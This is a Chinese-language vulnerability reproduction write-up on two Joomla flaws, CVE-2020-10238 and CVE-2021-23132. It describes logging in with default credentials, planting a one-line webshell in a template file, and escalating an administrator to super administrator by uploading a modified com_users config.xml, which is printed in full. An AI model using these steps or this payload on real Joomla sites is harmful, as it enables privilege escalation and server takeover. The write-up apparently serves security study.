Joomla_rce漏洞总结

Joomla cms是由php+myysql数据库开发的一套内容管理系统,几乎适合从个人网站到各种企业网站、分类信息系统、电商销售类型的各类网站,在国内也有诸多资源提供Joomla免费下载。这里就主要复现下joomal的两个漏洞。

CVE-2020-10238

这个漏洞我复现了一遍后,感觉并不是网上描述的那样“jooml远程控制rce漏洞”,因为这产生的点就是在编辑模板的php文件内中,我认为在php文件中编辑代码,被执行是很正常的事情,而且我试过除了超级管理员能修改php模板文件,其他账号(管理员账号除外)后台都无法登录,如果非要给他按个罪名的话,我觉得应该是没有添加检查用户提交代码的机制吧!

1-4

登录首页后,直接在url后添加:/administrator/index.php进入后台登录页面,输入默认密码:admin/admin以超级管理员身份进入joomla的后台

1-3

进入模板页面后,你可以自己创建一个模板或者直接用默认的模板都可以,在创建的php文件或默认的php文件中加入一句话代码后保存,然后蚁剑访问该php的路径即可成功上线

1-7

美国国家信息安全漏洞库对该漏洞给出的评价也不是简单粗暴的命令执行RCE,而是“缺乏条件控制规则检查”

1-5

CVE-2021-23132

该漏洞产生的原因是用户权限分配不合理,让管理员账户可以修改自己的文件上传的目录的路径,不仅导致了可以遍历整个web目录,还让用户可以上传config.xml文件到administrator超级管理员下替换原先的配置的文件,此时的管理员身份可以添加新用户为超级管理员,然后用添加的超级管理员登录,在利用2020-10238中的RCE漏洞进行getshell。 复现该漏洞,首先创建一个管理员账号后登录后再进行如下操作

1-8
1-9
1-10

保存返回后,发现media目录下是遍历了整个web目录。

进入administrator/components/com_users目录下,找到config.xml文件删除,然后上传我们准备好的xml文件。完成后,我们用管理员账号添加一个超级管理员账号,然后以超级管理员账号登录后,利用如上漏洞进行rce! 如下是需上传的xml文件

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<config>
  <fieldset
    name="user_options"
    label="COM_USERS_CONFIG_USER_OPTIONS" >
    <field
      name="allowUserRegistration"
      type="radio"
      label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
      description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
      class="btn-group btn-group-yesno"
      default="1"
      >
      <option value="1">JYES</option>
      <option value="0">JNO</option>
    </field>
&lt;field
  name=&#34;new_usertype&#34;
  type=&#34;usergrouplist&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC&#34;
  default=&#34;2&#34;
  checksuperusergroup=&#34;0&#34;
/&gt;

&lt;field
  name=&#34;guest_usergroup&#34;
  type=&#34;usergrouplist&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC&#34;
  default=&#34;1&#34;
  checksuperusergroup=&#34;0&#34;
/&gt;

&lt;field
  name=&#34;sendpassword&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;1&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;useractivation&#34;
  type=&#34;list&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC&#34;
  default=&#34;0&#34;
  &gt;
  &lt;option value=&#34;0&#34;&gt;JNONE&lt;/option&gt;
  &lt;option value=&#34;1&#34;&gt;COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION&lt;/option&gt;
  &lt;option value=&#34;2&#34;&gt;COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;mail_to_admin&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;0&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;captcha&#34;
  type=&#34;plugins&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_CAPTCHA_DESC&#34;
  folder=&#34;captcha&#34;
  filter=&#34;cmd&#34;
  useglobal=&#34;true&#34;
  &gt;
  &lt;option value=&#34;0&#34;&gt;JOPTION_DO_NOT_USE&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;frontend_userparams&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;1&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JSHOW&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JHIDE&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;site_language&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;0&#34;
  showon=&#34;frontend_userparams:1&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JSHOW&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JHIDE&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;change_login_name&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;0&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

</fieldset>

<fieldset
name="domain_options"
label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
>

&lt;field
  name=&#34;domains&#34;
  type=&#34;subform&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_DOMAINS_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_DOMAINS_DESC&#34;
  multiple=&#34;true&#34;
  layout=&#34;joomla.form.field.subform.repeatable-table&#34;
  formsource=&#34;administrator/components/com_users/models/forms/config_domain.xml&#34;
/&gt;

</fieldset>

<fieldset
name="password_options"
label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
<field
name="reset_count"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
first="0"
last="20"
step="1"
default="10"
/>

&lt;field
  name=&#34;reset_time&#34;
  type=&#34;integer&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC&#34;
  first=&#34;1&#34;
  last=&#34;24&#34;
  step=&#34;1&#34;
  default=&#34;1&#34;
/&gt;

&lt;field
  name=&#34;minimum_length&#34;
  type=&#34;integer&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC&#34;
  first=&#34;4&#34;
  last=&#34;99&#34;
  step=&#34;1&#34;
  default=&#34;4&#34;
/&gt;

&lt;field
  name=&#34;minimum_integers&#34;
  type=&#34;integer&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC&#34;
  first=&#34;0&#34;
  last=&#34;98&#34;
  step=&#34;1&#34;
  default=&#34;0&#34;
/&gt;

&lt;field
  name=&#34;minimum_symbols&#34;
  type=&#34;integer&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC&#34;
  first=&#34;0&#34;
  last=&#34;98&#34;
  step=&#34;1&#34;
  default=&#34;0&#34;
/&gt;

&lt;field
  name=&#34;minimum_uppercase&#34;
  type=&#34;integer&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC&#34;
  first=&#34;0&#34;
  last=&#34;98&#34;
  step=&#34;1&#34;
  default=&#34;0&#34;
/&gt;

&lt;field
  name=&#34;minimum_lowercase&#34;
  type=&#34;integer&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC&#34;
  first=&#34;0&#34;
  last=&#34;98&#34;
  step=&#34;1&#34;
  default=&#34;0&#34;
/&gt;

</fieldset>

<fieldset
name="user_notes_history"
label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >

&lt;field
  name=&#34;save_history&#34;
  type=&#34;radio&#34;
  label=&#34;JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL&#34;
  description=&#34;JGLOBAL_SAVE_HISTORY_OPTIONS_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;0&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;history_limit&#34;
  type=&#34;number&#34;
  label=&#34;JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL&#34;
  description=&#34;JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC&#34;
  filter=&#34;integer&#34;
  default=&#34;5&#34;
  showon=&#34;save_history:1&#34;
/&gt;

</fieldset>

<fieldset
name="massmail"
label="COM_USERS_MASS_MAIL"
description="COM_USERS_MASS_MAIL_DESC">

&lt;field
   name=&#34;mailSubjectPrefix&#34;
   type=&#34;text&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC&#34;
/&gt;

 &lt;field
   name=&#34;mailBodySuffix&#34;
  type=&#34;textarea&#34;
  label=&#34;COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL&#34;
  description=&#34;COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC&#34;
   rows=&#34;5&#34;
   cols=&#34;30&#34;
/&gt;

</fieldset>

<fieldset
name="debug"
label="COM_USERS_DEBUG_LABEL"
description="COM_USERS_DEBUG_DESC">

&lt;field
  name=&#34;debugUsers&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_DEBUG_USERS_LABEL&#34;
  description=&#34;COM_USERS_DEBUG_USERS_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;1&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;debugGroups&#34;
  type=&#34;radio&#34;
  label=&#34;COM_USERS_DEBUG_GROUPS_LABEL&#34;
  description=&#34;COM_USERS_DEBUG_GROUPS_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;1&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

</fieldset>

<fieldset name="integration"
label="JGLOBAL_INTEGRATION_LABEL"
description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
>

&lt;field
  name=&#34;integration_sef&#34;
  type=&#34;note&#34;
  label=&#34;JGLOBAL_SEF_TITLE&#34;
/&gt;

&lt;field
  name=&#34;sef_advanced&#34;
  type=&#34;radio&#34;
  class=&#34;btn-group btn-group-yesno btn-group-reversed&#34;
  default=&#34;0&#34;
  label=&#34;JGLOBAL_SEF_ADVANCED_LABEL&#34;
  description=&#34;JGLOBAL_SEF_ADVANCED_DESC&#34;
  filter=&#34;integer&#34;
  &gt;
  &lt;option value=&#34;0&#34;&gt;JGLOBAL_SEF_ADVANCED_LEGACY&lt;/option&gt;
  &lt;option value=&#34;1&#34;&gt;JGLOBAL_SEF_ADVANCED_MODERN&lt;/option&gt;
&lt;/field&gt;

&lt;field
  name=&#34;integration_customfields&#34;
  type=&#34;note&#34;
  label=&#34;JGLOBAL_FIELDS_TITLE&#34;
/&gt;

&lt;field
  name=&#34;custom_fields_enable&#34;
  type=&#34;radio&#34;
  label=&#34;JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL&#34;
  description=&#34;JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC&#34;
  class=&#34;btn-group btn-group-yesno&#34;
  default=&#34;1&#34;
  &gt;
  &lt;option value=&#34;1&#34;&gt;JYES&lt;/option&gt;
  &lt;option value=&#34;0&#34;&gt;JNO&lt;/option&gt;
&lt;/field&gt;

</fieldset>

<fieldset
name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC"
>

&lt;field
  name=&#34;rules&#34;
  type=&#34;rules&#34;
  label=&#34;JCONFIG_PERMISSIONS_LABEL&#34;
  filter=&#34;rules&#34;
  validate=&#34;rules&#34;
  component=&#34;com_users&#34;
  section=&#34;component&#34;
/&gt;

</fieldset>
</config>

OVER